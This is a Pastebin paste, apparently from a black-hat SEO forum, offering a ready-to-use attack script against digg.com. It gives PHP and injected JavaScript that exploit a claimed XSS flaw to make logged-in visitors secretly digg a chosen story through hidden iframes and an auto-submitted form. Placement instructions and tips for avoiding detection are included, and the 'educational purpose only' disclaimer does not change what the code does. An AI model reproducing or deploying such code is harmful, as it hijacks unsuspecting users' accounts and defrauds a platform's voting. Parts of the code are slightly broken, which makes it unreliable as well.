blackhatx2

AD Script

Sep 14th, 2012
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.00 KB | None | 0 0
  1. https://blackhatx.com/seo-forum/
  2.  
  3. AD Script
  4.  
  5. I felt like giving back to this wonderful community so I thought I'd share this.
  6.  
  7. The script may require slight modification to work properly but if you know what you're doing you'll be able to get this bad boy working ;)
  8.  
  9. There is a XSS vulnerability on digg.com which opens op for the opportunity of automatic digg's. I've put together the script below with which you can make visitors to a website digg a given story if they're just logged into digg. It doesn't take any userinteraction and it all happens in the "background" without the user knowing it.
  10.  
  11. The script consists of several elements - but I've tried to make it easy for you guys to utilize - and also help to avoid too much attention around the script.
  12.  
  13. 1. 'the-js.php' - Some PHP stuff which logs some activity and monitors the story. This script outputs to XSS code and should stop showing the actual XSS code when either the story has been 'made popular' or if it's more than 24 hours since submission. Note that the PHP script will also 'exit' on any error.
  14. 2. Snoopy http class - used in the PHP stuff... The file 'Snoopy.class.php' should be located in the same folder as 'the-js.php'. (get snoopy: http://sourceforge.net/projects/snoopy/)
  15. 3. 'digg_this.txt' - a simple text file used to log a bit of info used in 'the-js.php'. 'digg_this.txt' MUST be writeable, contain '0-0' when first used for a story, and it should be located in the same folder as 'the-js.php'.
  16. 4. The 'caller code' - a simple piece of javascript code that should be implemented on the page(s) where you've got digg users visiting that you want to make digg a story.
  17. Code:
  18. <?php
  19.  
  20. $digg_story_url = 'http://digg.com/linux_unix/Dell_censors_IdeaStorm_Linux_dissent';
  21.  
  22. // ************ IMPORTANT NOTES ************
  23. //
  24. // The file: 'digg_this.txt' must exist, be
  25. // writeable and contain '0-0' when this
  26. // script is taken into use.
  27. //
  28. // If you edit the code please be sure about
  29. // what you're doing so you don't end up
  30. // bringing too much attention to it.
  31. //
  32. // This script is of course for educational
  33. // purpose only...
  34. //
  35.  
  36. $report_errors = false;
  37. $filename = 'digg_this.txt';
  38.  
  39. header('Cache-Control: no-cache, must-revalidate');
  40. header('Expires: Mon, 26 Jan 1997 05:00:00 GMT');
  41. header('Pragma: no-cache');
  42. header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  43.  
  44. require_once('Snoopy.class.php');
  45.  
  46. function error_and_exit($error) {
  47.  
  48. global $report_errors;
  49. if ($report_errors === true) echo('document.write(\'' . $error . '\');');
  50.  
  51. if (($error >= 5) and& ($error <= 8)) {
  52. global $handle;
  53. fclose($handle);
  54. }
  55.  
  56. exit;
  57. }
  58.  
  59. if (strpos($digg_story_url, 'digg') === false) error_and_exit('1');
  60. if (!file_exists($filename)) error_and_exit('2');
  61. if (!is_writable($filename)) error_and_exit('3');
  62. if (!$handle = fopen($filename, 'r+')) error_and_exit('4');
  63.  
  64. $status = fread($handle, 8192);
  65. $status = trim($status);
  66.  
  67. if (strpos($status, 'stop') !== false) error_and_exit('5');
  68.  
  69. $STATUS = explode('-', $status);
  70.  
  71. if (($STATUS[0] > 100) || $STATUS[1] < (mktime() - 1800)) {
  72.  
  73. $snoopy = new Snoopy;
  74. if ($snoopy->fetch($digg_story_url)) $page_result = $snoopy->results;
  75.  
  76. $tmp = substr($page_result, strpos($page_result, '<dt>Submitted:</dt>'));
  77. $tmp = substr($tmp, 0, strpos($tmp, '<dt>Submitter:</dt>'));
  78. if ((strpos($tmp, 'made popular') !== false) || (strpos($tmp, 'day') !== false)) {
  79. $new_status = 'stop';
  80. ftruncate($handle, 0);
  81. fseek($handle, 0);
  82. fwrite($handle, $new_status);
  83. error_and_exit('6');
  84. } else {
  85. $new_status = '0-' . mktime();
  86. ftruncate($handle, 0);
  87. fseek($handle, 0);
  88. if (fwrite($handle, $new_status) === false) error_and_exit('8');
  89. }
  90.  
  91. } else {
  92.  
  93. $STATUS[0]++;
  94. $new_status = $STATUS[0] . '-' . $STATUS[1];
  95. ftruncate($handle, 0);
  96. fseek($handle, 0);
  97. if (fwrite($handle, $new_status) === false) error_and_exit('7');
  98.  
  99. }
  100.  
  101. fclose($handle);
  102.  
  103. // seems like everything is fine so we output the client side script to digg the story
  104.  
  105. echo('document.write(\'<iframe name="DiggFrame" src="http://digg.com/api/diggthis.php?u=' . $digg_story_url . '" style="width:1px;height:1px;border:0px;"></iframe>\');');
  106. echo('document.write(\'<iframe src=\\\'http://digg.com/tools/diggthis.js"</title></head><body><script>var diggform=top.DiggFrame.document.getElementById("f1");diggform.target="_self";diggform.submit();</script>\\\' style="width:1px;height:1px;border:0px;"></iframe>\');');
  107.  
  108. code end -----------------
  109.  
  110. The 'caller code' for your websites with digg users visiting:
  111.  
  112. <script src="http://some-domain.tld/location-of/the-js.php" type="text/javascript"></script>
  113.  
  114. How to use this:
  115. 1. Submit your story to digg.com
  116. 2. Edit '$digg_story_url' in 'the-js.php' to contain your digg-url like this: "$digg_story_url = 'http://digg.com/linux_unix/Dell_censors_IdeaStorm_Linux_dissent';"
  117. 3. Edit 'digg_this.txt' to contain '0-0' ZERO DASH ZERO and make sure the file is writeable
  118. 4. Place the 'caller code' on pages with digg users visiting
  119.  
  120.  
  121. For more information visit are site...
  122. https://blackhatx.com/seo-forum/
Advertisement
Add Comment
Please, Sign In to add comment